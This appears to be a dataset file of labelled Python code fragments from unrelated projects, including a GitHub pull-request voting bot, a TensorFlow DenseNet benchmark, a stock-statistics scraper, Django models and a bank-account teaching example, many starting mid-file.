degrees solved by "" + self.method # Setup the problem twist = Twist() twist.name_method(""DISPLACEMENT BASED FORMULATION"") # Solve the problem print twist twist.solve() ",1 " you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # pyherc is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with satin-python. If not, see . """""" Module for testing labels """""" from hamcrest.core.base_matcher import BaseMatcher from hamcrest.core.helpers.wrap_matcher import wrap_matcher from .enumerators import all_widgets class LabelMatcher(BaseMatcher): """""" Check if Widget has label with given text """""" def __init__(self, text): """""" Default constructor """""" super(LabelMatcher, self).__init__() if hasattr(text, 'matches'): self.text = text else: self.text = wrap_matcher(text) def _matches(self, item): """""" Check if matcher matches item :param item: object to match against :returns: True if matching, otherwise False :rtype: Boolean """""" widgets = all_widgets(item) for widget in widgets: if hasattr(widget, 'text') and self.text.matches(widget.text()): return True return False def describe_to(self, description): """""" Describe this matcher """""" description.append('Control with label {0}'.format(self.text)) def describe_mismatch(self, item, mismatch_description): """""" Describe this mismatch """""" mismatch_description.append( 'QLabel with text {0} was not found'.format(self.text)) def has_label(text): """""" Check if Widget has label with given text """""" return LabelMatcher(text) ",1 "forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from .fetchers import NUPermissionsFetcher from .fetchers import NUMetadatasFetcher from .fetchers import NUGlobalMetadatasFetcher from bambou import NURESTObject class NUAvatar(NURESTObject): """""" Represents a Avatar in the VSD Notes: Avatar """""" __rest_name__ = ""avatar"" __resource_name__ = ""avatars"" ## Constants CONST_ENTITY_SCOPE_GLOBAL = ""GLOBAL"" CONST_ENTITY_SCOPE_ENTERPRISE = ""ENTERPRISE"" def __init__(self, **kwargs): """""" Initializes a Avatar instance Notes: You can specify all parameters while calling this methods. A special argument named `data` will enable you to load the object from a Python dictionary Examples: >>> avatar = NUAvatar(id=u'xxxx-xxx-xxx-xxx', name=u'Avatar') >>> avatar = NUAvatar(data=my_dict) """""" super(NUAvatar, self).__init__() # Read/Write Attributes self._last_updated_by = None self._last_updated_date = None self._embedded_metadata = None self._entity_scope = None self._creation_date = None self._owner = None self._external_id = None self._type = None self.expose_attribute(local_name=""last_updated_by"", remote_name=""lastUpdatedBy"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""last_updated_date"", remote_name=""lastUpdatedDate"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""embedded_metadata"", remote_name=""embeddedMetadata"", attribute_type=list, is_required=False, is_unique=False) self.expose_attribute(local_name=""entity_scope"", remote_name=""entityScope"", attribute_type=str, is_required=False, is_unique=False, choices=[u'ENTERPRISE', u'GLOBAL']) self.expose_attribute(local_name=""creation_date"", remote_name=""creationDate"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""owner"", remote_name=""owner"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""external_id"", remote_name=""externalID"", attribute_type=str, is_required=False, is_unique=True) self.expose_attribute(local_name=""type"", remote_name=""type"", attribute_type=str, is_required=False, is_unique=False) # Fetchers self.permissions = NUPermissionsFetcher.fetcher_with_object(parent_object=self, relationship=""child"") self.metadatas = NUMetadatasFetcher.fetcher_with_object(parent_object=self, relationship=""child"") self.global_metadatas = NUGlobalMetadatasFetcher.fetcher_with_object(parent_object=self, relationship=""child"") self._compute_args(**kwargs) # Properties @property def last_updated_by(self): """""" Get last_updated_by value. Notes: ID of the user who last updated the object. This attribute is named `lastUpdatedBy` in VSD API. """""" return self._last_updated_by @last_updated_by.setter def last_updated_by(self, value): """""" Set last_updated_by value. Notes: ID of the user who last updated the object. This attribute is named `lastUpdatedBy` in VSD API. """""" self._last_updated_by = value @property def last_updated_date(self): """""" Get last_updated_date value. Notes: Time stamp when this object was last updated. This attribute is named `lastUpdatedDate` in VSD API. """""" return self._last_updated_date @last_updated_date.setter def last_updated_date(self, value): """""" Set last_updated_date value. Notes: Time stamp when this object was last updated. This attribute is named `lastUpdatedDate` in VSD API. """""" self._last_updated_date = value @property def embedded_metadata(self): """""" Get embedded_metadata value. Notes: Metadata objects associated with this entity. This will contain a list of Metadata objects if the API request is made using the special flag to enable the embedded Metadata feature. Only a maximum of Metadata objects is returned based on the value set in the system configuration. This attribute is named `embeddedMetadata` in VSD API. """""" return self._embedded_metadata @embedded_metadata.setter def embedded_metadata(self, value): """""" Set embedded_metadata value. Notes: Metadata objects associated with this entity. This will contain a list of Metadata objects if the API request is made using the special flag to enable the embedded Metadata feature. Only a maximum of Metadata objects is returned based on the value set in the system configuration. This attribute is named `embeddedMetadata` in VSD API. """""" self._embedded_metadata = value @property def entity_scope(self): """""" Get entity_scope value. Notes: Specify if scope of entity is Data center or Enterprise level This attribute is named `entityScope` in VSD API. """""" return self._entity_scope @entity_scope.setter def entity_scope(self, value): """""" Set entity_scope value. Notes: Specify if scope of entity is Data center or Enterprise level This attribute is named `entityScope` in VSD API. """""" self._entity_scope = value @property def creation_date(self): """""" Get creation_date value. Notes: Time stamp when this object was created. This attribute is named `creationDate` in VSD API. """""" return self._creation_date @creation_date.setter def creation_date(self, value): """""" Set creation_date value. Notes: Time stamp when this object was created. This attribute is named `creationDate` in VSD API. """""" self._creation_date = value @property def owner(self): """""" Get owner value. Notes: Identifies the user that has created this object. """""" return self._owner @owner.setter def owner(self, value): """""" Set owner value. Notes: Identifies the user that has created this object. """""" self._owner = value @property def external_id(self): """""" Get external_id value. Notes: External object ID. Used for integration with third party systems This attribute is named `externalID` in VSD API. """""" return self._external_id @external_id.setter def external_id(self, value): """""" Set external_id value. Notes: External object ID. Used for integration with third party systems This attribute is named `externalID` in VSD API. """""" self._external_id = value @property def type(self): """""" Get type value. Notes: The image type """""" return self._type @type.setter def type(self, value): """""" Set type value. Notes: The image type """""" self._type = value ",1 "ount): global balance balance += amount return balance def withdraw(amount): global balance balance -= amount return balance ################################################# # Dict like def make_account(): return {'balance': 0} def deposit(account, amount): account['balance'] += amount return account['balance'] def withdraw(account, amount): account['balance'] -= amount return account['balance'] # >>> a = make_account() # >>> b = make_account() # >>> deposit(a, 100) # 100 # >>> deposit(b, 50) # 50 # >>> withdraw(b, 10) # 40 # >>> withdraw(a, 10) # 90 ################################################# # Class class BankAccount: def __init__(self, balance=0): self.balance = balance def withdraw(self, amount): self.balance -= amount return self.balance def deposit(self, amount): self.balance += amount return self.balance # >>> a = BankAccount() # >>> b = BankAccount() # >>> a.deposit(100) # 100 # >>> b.deposit(50) # 50 # >>> b.withdraw(10) # 40 # >>> a.withdraw(10) # 90 ################################################# # Inheritance class MinimumBalanceAccount(BankAccount): def __init__(self, minimum_balance): BankAccount.__init__(self) self.minimum_balance = minimum_balance def withdraw(self, amount): if self.balance - amount < self.minimum_balance: print('Sorry, minimum balance must be maintained.') else: BankAccount.withdraw(self, amount) # >>> a = MinimumBalanceAccount(0) # >>> a.deposit(100) # 100 # >>> b.withdraw(101) # 'Sorry, minimum balance must be maintained.' ######################################## # Mangling, Exceptions def generate_id(n=16): alphabet = string.ascii_letters + string.digits return ''.join(random.choice(alphabet) for _ in range(n)) class WithdrawError(Exception): """"""Not enough money"""""" def __init__(self, amount): super().__init__() self.amount = amount class AdvancedBankAccount: MAX_BALANCE = 2 ** 64 def __init__(self): self._balance = 0 self.__id = generate_id() def withdraw(self, amount): if not isinstance(amount, int): raise ValueError if self._balance < amount: raise WithdrawError(amount) self._balance -= amount return self._balance def deposit(self, amount): self._balance += amount return self._balance def get_max_balance(): return AdvancedBankAccount.MAX_BALANCE if __name__ == '__main__': a = AdvancedBankAccount() b = a c = AdvancedBankAccount() a.deposit(10) # AdvancedBankAccount.deposit(a, 10) # the same print('UNACCEPTABLE! b balance:', b._balance) # print(b.__id) # error, name mangling a.get_id = lambda self: self.__id # print(a.get_id()) # TypeError # print(a.get_id(a)) # AttributeError ################################################ # UNACCEPTABLE! print(""UNACCEPTABLE! b id:"", b._AdvancedBankAccount__id) # name unmangling # static AdvancedBankAccount.MAX_BALANCE = 2 ** 32 print('max balance:', AdvancedBankAccount.get_max_balance()) a.MAX_BALANCE = 2 ** 64 print('a max: {}, c max: {}'.format(a.MAX_BALANCE, c.MAX_BALANCE)) ################################################ # Exceptions # in module import try: a.withdraw(""100"") except: pass # UNACCEPTIBLE! try: a.withdraw(100) except WithdrawError as e: pass try: a.withdraw(100) except (ValueError, WithdrawError) as e: print('exception raised') else: print('no exception') finally: print('Finally') def tricky(): try: print('Tricky called') return 1 finally: print('Tricky finally called') return 42 return 0 print(tricky()) # how about with statement? # module is object -> import class Shape: def area(self): raise NotImplementedError class Circle(Shape): def __init__(self, radius): self.radius = radius def area(self): return math.pi * self.radius ** 2 class Square(Shape): def __init__(self, side): self.side = side def area(self): return self.side ** 2 if __name__ == ""__main__"": a = [Square(10), Circle(2)] s = sum(s.area() for s in a) print(s) ",1 "length=200) def __unicode__(self): return self.type_desc class Address(models.Model): street_address = models.CharField(max_length=100) city = models.CharField(max_length=100) pin = models.CharField(max_length=10) province = models.CharField(max_length=100) nationality = models.CharField(max_length=100) def __unicode__(self): return self.street_address + ',' + self.city class HattiUser(models.Model): user = models.OneToOneField(User) address = models.ForeignKey(Address) telephone = models.CharField(max_length=500) date_joined = models.DateTimeField(auto_now_add=True) fax = models.CharField(max_length=100) avatar = models.CharField(max_length=100, null=True, blank=True) tagline = models.CharField(max_length=140) class Meta: abstract = True class AdminOrganisations(HattiUser): title = models.CharField(max_length=200) organisation_type = models.ForeignKey(OrganisationType) def __unicode__(self): return self.title class Customer(HattiUser): title = models.CharField(max_length=200, blank=True, null=True) is_org = models.BooleanField(); org_type = models.ForeignKey(OrganisationType) company = models.CharField(max_length = 200) def __unicode__(self, arg): return unicode(self.user) ",1 "s only one instance and is created on program startup. Methods defined in this class are called automatically by the mount manager so you need to implement them. """""" # features extension supports features = () def __init__(self, parent, window): self._parent = parent self._window = window self._application = self._parent._application # create user interface self._container = gtk.VBox(False, 5) self._controls = gtk.HBox(False, 5) separator = gtk.HSeparator() # pack interface self._container.pack_end(separator, False, False, 0) self._container.pack_end(self._controls, False, False, 0) def can_handle(self, uri): """"""Returns boolean denoting if specified URI can be handled by this extension"""""" return False def get_container(self): """"""Return container widget"""""" return self._container def get_information(self): """"""Returns information about extension"""""" icon = None name = None return icon, name def unmount(self, uri): """"""Method called by the mount manager for unmounting the selected URI"""""" pass def focus_object(self): """"""Method called by the mount manager for focusing main object"""""" pass @classmethod def get_features(cls): """"""Returns set of features supported by extension"""""" return cls.features ",1 "2, 01:00 am # # Ea is an ellipse with an equation of the form x2 + 4y2 = 4a2. Ea' is the # rotated image of Ea by θ degrees counterclockwise around the origin O(0, 0) # for 0° θ 90°. b is the distance to the origin of the two intersection # points closest to the origin and c is the distance of the two other # intersection points. We call an ordered triplet (a, b, c) a canonical # ellipsoidal triplet if a, b and c are positive integers. For example, (209, # 247, 286) is a canonical ellipsoidal triplet. Let C(N) be the number of # distinct canonical ellipsoidal triplets (a, b, c) for a N. It can be # verified that C(103) = 7, C(104) = 106 and C(106) = 11845. Find C(1017). import projecteuler as pe def main(): pass if __name__ == ""__main__"": main() ",1 "t namedtuple from PIL import Image from logging import info, getLogger class Tree: def __init__(self, leaf): self.leaf = leaf self.lchild = None self.rchild = None def get_leafs(self): if self.lchild == None and self.rchild == None: return [self.leaf] else: return self.lchild.get_leafs()+self.rchild.get_leafs() def get_level(self, level, queue): if queue == None: queue = [] if level == 1: queue.push(self) else: if self.lchild != None: self.lchild.get_level(level-1, queue) if self.rchild != None: self.rchild.get_level(level-1, queue) return queue def paint(self, c): self.leaf.paint(c) if self.lchild != None: self.lchild.paint(c) if self.rchild != None: self.rchild.paint(c) class Container(): def __init__(self, x, y, w, h): self.x = x self.y = y self.w = w self.h = h self.center = (self.x+int(self.w/2),self.y+int(self.h/2)) self.distance_from_center = sqrt((self.center[0]-MAP_WIDTH/2)**2 + (self.center[1]-MAP_HEIGHT/2)**2) def paint(self, c): c.stroke_rectangle(self.x, self.y, self.w, self.h) def draw_path(self,c,container): c.path(self.center[0],self.center[1],container.center[0],container.center[1]) class Canvas: brushes = {""empty"":0, ""hallway"":1, ""room"":2} def __init__(self, w, h, color = ""empty""): self.board = zeros((h,w), dtype=uint8) self.w = w self.h = h self.set_brush(color) def set_brush(self, code): self.color = self.brushes[code] def stroke_rectangle(self, x, y, w, h): self.line(x,y,w,True) self.line(x,y+h-1,w,True) self.line(x,y,h,False) self.line(x+w-1,y,h,False) def filled_rectangle(self, x, y, w, h): self.board[y:y+h,x:x+w] = self.color def line(self, x, y, length, horizontal): if horizontal: self.board[y,x:x+length] = self.color else: self.board[y:y+length,x] = self.color def path(self,x1,y1,x2,y2): self.board[y1:y2+1,x1:x2+1] = self.color def circle(self,x,y,r): for x_offset in range(-r,r+1): for y_offset in range(-r,r+1): if sqrt(x_offset**2+y_offset**2)NON_CPU_DEVICE->CPU, # which forces a sync. This is a roundabout way, yes. tf.constant(1.).cpu() def _benchmark_eager_apply(self, label, device_and_format, defun=False, execution_mode=None): with tfe.execution_mode(execution_mode): device, data_format = device_and_format model = densenet.DenseNet(self.depth, self.growth_rate, self.num_blocks, self.output_classes, self.num_layers_in_each_block, data_format, bottleneck=True, compression=0.5, weight_decay=1e-4, dropout_rate=0, pool_initial=True, include_top=True) if defun: # TODO(apassos) enable tfe.function here model.call = tfe.defun(model.call) batch_size = 64 num_burn = 5 num_iters = 30 with tf.device(device): images, _ = random_batch(batch_size, data_format) for _ in xrange(num_burn): model(images, training=False).cpu() if execution_mode: tfe.async_wait() gc.collect() start = time.time() for _ in xrange(num_iters): model(images, training=False).cpu() if execution_mode: tfe.async_wait() self._report(label, start, num_iters, device, batch_size, data_format) def benchmark_eager_apply_sync(self): self._benchmark_eager_apply('eager_apply', device_and_data_format(), defun=False) def benchmark_eager_apply_async(self): self._benchmark_eager_apply( 'eager_apply_async', device_and_data_format(), defun=False, execution_mode=tfe.ASYNC) def benchmark_eager_apply_with_defun(self): self._benchmark_eager_apply('eager_apply_with_defun', device_and_data_format(), defun=True) def _benchmark_eager_train(self, label, make_iterator, device_and_format, defun=False, execution_mode=None): with tfe.execution_mode(execution_mode): device, data_format = device_and_format for batch_size in self._train_batch_sizes(): (images, labels) = random_batch(batch_size, data_format) model = densenet.DenseNet(self.depth, self.growth_rate, self.num_blocks, self.output_classes, self.num_layers_in_each_block, data_format, bottleneck=True, compression=0.5, weight_decay=1e-4, dropout_rate=0, pool_initial=True, include_top=True) optimizer = tf.train.GradientDescentOptimizer(0.1) apply_grads = apply_gradients if defun: model.call = tfe.defun(model.call) apply_grads = tfe.defun(apply_gradients) num_burn = 3 num_iters = 10 with tf.device(device): iterator = make_iterator((images, labels)) for _ in xrange(num_burn): (images, labels) = iterator.next() apply_grads(model, optimizer, compute_gradients(model, images, labels)) if execution_mode: tfe.async_wait() self._force_device_sync() gc.collect() start = time.time() for _ in xrange(num_iters): (images, labels) = iterator.next() apply_grads(model, optimizer, compute_gradients(model, images, labels)) if execution_mode: tfe.async_wait() self._force_device_sync() self._report(label, start, num_iters, device, batch_size, data_format) def benchmark_eager_train_sync(self): self._benchmark_eager_train('eager_train', MockIterator, device_and_data_format(), defun=False) def benchmark_eager_train_async(self): self._benchmark_eager_train( 'eager_train_async', MockIterator, device_and_data_format(), defun=False, execution_mode=tfe.ASYNC) def benchmark_eager_train_with_defun(self): self._benchmark_eager_train( 'eager_train_with_defun', MockIterator, device_and_data_format(), defun=True) def benchmark_eager_train_datasets(self): def make_iterator(tensors): with tf.device('/device:CPU:0'): ds = tf.data.Dataset.from_tensors(tensors).repeat() return tfe.Iterator(ds) self._benchmark_eager_train( 'eager_train_dataset', make_iterator, device_and_data_format(), defun=False) def benchmark_eager_train_datasets_with_defun(self): def make_iterator(tensors): with tf.device('/device:CPU:0'): ds = tf.data.Dataset.from_tensors(tensors).repeat() return tfe.Iterator(ds) self._benchmark_eager_train( 'eager_train_dataset_with_defun', make_iterator, device_and_data_format(), defun=True) if __name__ == '__main__': tf.enable_eager_execution() tf.test.main() ",1 "s plt from matplotlib import style style.use(""dark_background"") # path = ""X:/Backups/intraQuarter"" # for Windows with X files :) # if git clone'ed then use relative path, # assuming you extracted the downloaded zip into this project's folder: path = ""intraQuarter"" def Key_Stats(gather=""Total Debt/Equity (mrq)""): statspath = path+'/_KeyStats' stock_list = [x[0] for x in os.walk(statspath)] df = pd.DataFrame( columns = [ 'Date', 'Unix', 'Ticker', 'DE Ratio', 'Price', 'stock_p_change', 'SP500', 'sp500_p_change', 'Difference', 'Status' ] ) sp500_df = pd.DataFrame.from_csv(""YAHOO-INDEX_GSPC.csv"") ticker_list = [] for each_dir in stock_list[1:25]: each_file = os.listdir(each_dir) # ticker = each_dir.split(""\\"")[1] # Windows only # ticker = each_dir.split(""/"")[1] # this didn't work so do this: ticker = os.path.basename(os.path.normpath(each_dir)) # print(ticker) # uncomment to verify ticker_list.append(ticker) starting_stock_value = False starting_sp500_value = False if len(each_file) > 0: for file in each_file: date_stamp = datetime.strptime(file, '%Y%m%d%H%M%S.html') unix_time = time.mktime(date_stamp.timetuple()) full_file_path = each_dir + '/' + file source = open(full_file_path,'r').read() try: try: value = float(source.split(gather+':')[1].split('')[0]) except: value = float(source.split(gather+':\n')[1].split('')[0]) try: sp500_date = datetime.fromtimestamp(unix_time).strftime('%Y-%m-%d') row = sp500_df[(sp500_df.index == sp500_date)] sp500_value = float(row['Adjusted Close']) except: sp500_date = datetime.fromtimestamp(unix_time-259200).strftime('%Y-%m-%d') row = sp500_df[(sp500_df.index == sp500_date)] sp500_value = float(row['Adjusted Close']) try: stock_price = float(source.split('')[1].split('')[0]) except: try: stock_price = (source.split('')[1].split('')[0]) #print(stock_price) stock_price = re.search(r'(\d{1,8}\.\d{1,8})', stock_price) stock_price = float(stock_price.group(1)) #print(stock_price) except: try: stock_price = (source.split('')[1].split('')[0]) #print(stock_price) stock_price = re.search(r'(\d{1,8}\.\d{1,8})', stock_price) stock_price = float(stock_price.group(1)) #print(stock_price) except: print('wtf stock price lol',ticker,file, value) time.sleep(5) if not starting_stock_value: starting_stock_value = stock_price if not starting_sp500_value: starting_sp500_value = sp500_value stock_p_change = ((stock_price - starting_stock_value) / starting_stock_value) * 100 sp500_p_change = ((sp500_value - starting_sp500_value) / starting_sp500_value) * 100 location = len(df['Date']) difference = stock_p_change-sp500_p_change if difference > 0: status = ""outperform"" else: status = ""underperform"" df = df.append({'Date':date_stamp, 'Unix':unix_time, 'Ticker':ticker, 'DE Ratio':value, 'Price':stock_price, 'stock_p_change':stock_p_change, 'SP500':sp500_value, 'sp500_p_change':sp500_p_change, ############################ 'Difference':difference, 'Status':status}, ignore_index=True) except Exception as e: pass #print(ticker,e,file, value) #print(ticker_list) #print(df) for each_ticker in ticker_list: try: plot_df = df[(df['Ticker'] == each_ticker)] plot_df = plot_df.set_index(['Date']) if plot_df['Status'][-1] == 'underperform': color = 'r' else: color = 'g' plot_df['Difference'].plot(label=each_ticker, color=color) plt.legend() except Exception as e: print(str(e)) plt.show() save = gather.replace(' ','').replace(')','').replace('(','').replace('/','')+str('.csv') print(save) df.to_csv(save) Key_Stats() ",1 " can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . """""" This module provides the Todo class. """""" from datetime import date from topydo.lib.Config import config from topydo.lib.TodoBase import TodoBase from topydo.lib.Utils import date_string_to_date class Todo(TodoBase): """""" This class adds common functionality with respect to dates to the Todo base class, mainly by interpreting the start and due dates of task. """""" def __init__(self, p_str): TodoBase.__init__(self, p_str) self.attributes = {} def get_date(self, p_tag): """""" Given a date tag, return a date object. """""" string = self.tag_value(p_tag) result = None try: result = date_string_to_date(string) if string else None except ValueError: pass return result def start_date(self): """""" Returns a date object of the todo's start date. """""" return self.get_date(config().tag_start()) def due_date(self): """""" Returns a date object of the todo's due date. """""" return self.get_date(config().tag_due()) def is_active(self): """""" Returns True when the start date is today or in the past and the task has not yet been completed. """""" start = self.start_date() return not self.is_completed() and (not start or start <= date.today()) def is_overdue(self): """""" Returns True when the due date is in the past and the task has not yet been completed. """""" return not self.is_completed() and self.days_till_due() < 0 def days_till_due(self): """""" Returns the number of days till the due date. Returns a negative number of days when the due date is in the past. Returns 0 when the task has no due date. """""" due = self.due_date() if due: diff = due - date.today() return diff.days return 0 def length(self): """""" Returns the length (in days) of the task, by considering the start date and the due date. When there is no start date, its creation date is used. Returns 0 when one of these dates is missing. """""" start = self.start_date() or self.creation_date() due = self.due_date() if start and due and start < due: diff = due - start return diff.days else: return 0 ",1 " return True start = 0 end = len(s)-1 s = s.lower() while start < end: while start < end and not s[start].isalnum(): start += 1 while start < end and not s[end].isalnum(): end -= 1 if s[start] == s[end]: start += 1 end -= 1 else: return False return True",1 "r, votes, total, threshold): """""" merge a pull request, if possible, and use a nice detailed merge commit message """""" pr_num = pr[""number""] pr_title = pr['title'] pr_description = pr['body'] path = ""/repos/{urn}/pulls/{pr}/merge"".format(urn=urn, pr=pr_num) record = voting.friendly_voting_record(votes) if record: record = ""Vote record:\n"" + record votes_summary = formatted_votes_summary(votes, total, threshold) pr_url = ""https://github.com/{urn}/pull/{pr}"".format(urn=urn, pr=pr_num) title = ""merging PR #{num}: {pr_title}"".format( num=pr_num, pr_title=pr_title) desc = """""" {pr_url}: {pr_title} Description: {pr_description} :ok_woman: PR passed {summary}. {record} """""".strip().format( pr_url=pr_url, pr_title=pr_title, pr_description=pr_description, summary=votes_summary, record=record, ) data = { ""commit_title"": title, ""commit_message"": desc, ""merge_method"": ""merge"", # if some clever person attempts to submit more commits while we're # aggregating votes, this sha check will fail and no merge will occur ""sha"": pr[""head""][""sha""], } try: resp = api(""PUT"", path, json=data) return resp[""sha""] except HTTPError as e: resp = e.response # could not be merged if resp.status_code == 405: raise exc.CouldntMerge # someone trying to be sneaky and change their PR commits during voting elif resp.status_code == 409: raise exc.CouldntMerge else: raise def formatted_votes_summary(votes, total, threshold): vfor = sum(v for v in votes.values() if v > 0) vagainst = abs(sum(v for v in votes.values() if v < 0)) return ""with a vote of {vfor} for and {vagainst} against, with a weighted total of {total:.1f} and a threshold of {threshold:.1f}"" \ .strip().format(vfor=vfor, vagainst=vagainst, total=total, threshold=threshold) def formatted_votes_short_summary(votes, total, threshold): vfor = sum(v for v in votes.values() if v > 0) vagainst = abs(sum(v for v in votes.values() if v < 0)) return ""vote: {vfor}-{vagainst}, weighted total: {total:.1f}, threshold: {threshold:.1f}"" \ .strip().format(vfor=vfor, vagainst=vagainst, total=total, threshold=threshold) def label_pr(api, urn, pr_num, labels): """""" set a pr's labels (removes old labels) """""" if not isinstance(labels, (tuple, list)): labels = [labels] path = ""/repos/{urn}/issues/{pr}/labels"".format(urn=urn, pr=pr_num) data = labels resp = api(""PUT"", path, json=data) def close_pr(api, urn, pr): """""" https://developer.github.com/v3/pulls/#update-a-pull-request """""" path = ""/repos/{urn}/pulls/{pr}"".format(urn=urn, pr=pr[""number""]) data = { ""state"": ""closed"", } return api(""patch"", path, json=data) def get_pr_last_updated(pr_data): """""" a helper for finding the utc datetime of the last pr branch modifications """""" repo = pr_data[""head""][""repo""] if repo: dt = repo[""pushed_at""] else: dt = pr_data[""created_at""] return arrow.get(dt) def get_pr_comments(api, urn, pr_num): """""" yield all comments on a pr, weirdly excluding the initial pr comment itself (the one the owner makes) """""" params = { ""per_page"": settings.DEFAULT_PAGINATION } path = ""/repos/{urn}/issues/{pr}/comments"".format(urn=urn, pr=pr_num) comments = api(""get"", path, params=params) for comment in comments: yield comment def get_ready_prs(api, urn, window): """""" yield mergeable, non-WIP prs that have had no modifications for longer than the voting window. these are prs that are ready to be considered for merging """""" open_prs = get_open_prs(api, urn) for pr in open_prs: pr_num = pr[""number""] now = arrow.utcnow() updated = get_pr_last_updated(pr) delta = (now - updated).total_seconds() is_wip = ""WIP"" in pr[""title""] if not is_wip and delta > window: # we check if its mergeable if its outside the voting window, # because there seems to be a race where a freshly-created PR exists # in the paginated list of PRs, but 404s when trying to fetch it # directly mergeable = get_is_mergeable(api, urn, pr_num) if mergeable is True: label_pr(api, urn, pr_num, []) yield pr elif mergeable is False: label_pr(api, urn, pr_num, [""conflicts""]) if delta >= 60 * 60 * settings.PR_STALE_HOURS: comments.leave_stale_comment( api, urn, pr[""number""], round(delta / 60 / 60)) close_pr(api, urn, pr) # mergeable can also be None, in which case we just skip it for now def voting_window_remaining_seconds(pr, window): now = arrow.utcnow() updated = get_pr_last_updated(pr) delta = (now - updated).total_seconds() return window - delta def is_pr_in_voting_window(pr, window): return voting_window_remaining_seconds(pr, window) <= 0 def get_pr_reviews(api, urn, pr_num): """""" get all pr reviews on a pr https://help.github.com/articles/about-pull-request-reviews/ """""" params = { ""per_page"": settings.DEFAULT_PAGINATION } path = ""/repos/{urn}/pulls/{pr}/reviews"".format(urn=urn, pr=pr_num) data = api(""get"", path, params=params) return data def get_is_mergeable(api, urn, pr_num): return get_pr(api, urn, pr_num)[""mergeable""] def get_pr(api, urn, pr_num): """""" helper for fetching a pr. necessary because the ""mergeable"" field does not exist on prs that come back from paginated endpoints, so we must fetch the pr directly """""" path = ""/repos/{urn}/pulls/{pr}"".format(urn=urn, pr=pr_num) pr = api(""get"", path) return pr def get_open_prs(api, urn): params = { ""state"": ""open"", ""sort"": ""updated"", ""direction"": ""asc"", ""per_page"": settings.DEFAULT_PAGINATION, } path = ""/repos/{urn}/pulls"".format(urn=urn) data = api(""get"", path, params=params) return data def get_reactions_for_pr(api, urn, pr): path = ""/repos/{urn}/issues/{pr}/reactions"".format(urn=urn, pr=pr) params = {""per_page"": settings.DEFAULT_PAGINATION} reactions = api(""get"", path, params=params) for reaction in reactions: yield reaction def post_accepted_status(api, urn, pr, voting_window, votes, total, threshold): sha = pr[""head""][""sha""] remaining_seconds = voting_window_remaining_seconds(pr, voting_window) remaining_human = misc.seconds_to_human(remaining_seconds) votes_summary = formatted_votes_short_summary(votes, total, threshold) post_status(api, urn, sha, ""success"", ""remaining: {time}, {summary}"".format(time=remaining_human, summary=votes_summary)) def post_rejected_status(api, urn, pr, voting_window, votes, total, threshold): sha = pr[""head""][""sha""] remaining_seconds = voting_window_remaining_seconds(pr, voting_window) remaining_human = misc.seconds_to_human(remaining_seconds) votes_summary = formatted_votes_short_summary(votes, total, threshold) post_status(api, urn, sha, ""failure"", ""remaining: {time}, {summary}"".format(time=remaining_human, summary=votes_summary)) def post_pending_status(api, urn, pr, voting_window, votes, total, threshold): sha = pr[""head""][""sha""] remaining_seconds = voting_window_remaining_seconds(pr, voting_window) remaining_human = misc.seconds_to_human(remaining_seconds) votes_summary = formatted_votes_short_summary(votes, total, threshold) post_status(api, urn, sha, ""pending"", ""remaining: {time}, {summary}"".format(time=remaining_human, summary=votes_summary)) def post_status(api, urn, sha, state, description): """""" apply an issue label to a pr """""" path = ""/repos/{urn}/statuses/{sha}"".format(urn=urn, sha=sha) data = { ""state"": state, ""description"": description, ""context"": ""chaosbot"" } api(""POST"", path, json=data) ",1 "rt pyctools.components.arithmetic import pyctools.components.qt.qtdisplay import pyctools.components.zone.zoneplategenerator class Network(object): components = \ { 'clipper': { 'class': 'pyctools.components.arithmetic.Arithmetic', 'config': ""{'func': '16+((data > 180)*219)'}"", 'pos': (200.0, 200.0)}, 'clipper2': { 'class': 'pyctools.components.arithmetic.Arithmetic', 'config': ""{'func': '16+((data > 230)*219)'}"", 'pos': (200.0, 330.0)}, 'qd': { 'class': 'pyctools.components.qt.qtdisplay.QtDisplay', 'config': ""{'framerate': 60}"", 'pos': (460.0, 200.0)}, 'stacker': { 'class': 'pyctools.components.arithmetic.Arithmetic2', 'config': ""{'func': 'numpy.vstack((data1,data2))'}"", 'pos': (330.0, 200.0)}, 'zpg': { 'class': 'pyctools.components.zone.zoneplategenerator.ZonePlateGenerator', 'config': ""{'kx': 0.04, 'kt': -0.34, 'xlen': 600, 'ylen': "" ""400, 'zlen': 1000, 'looping': 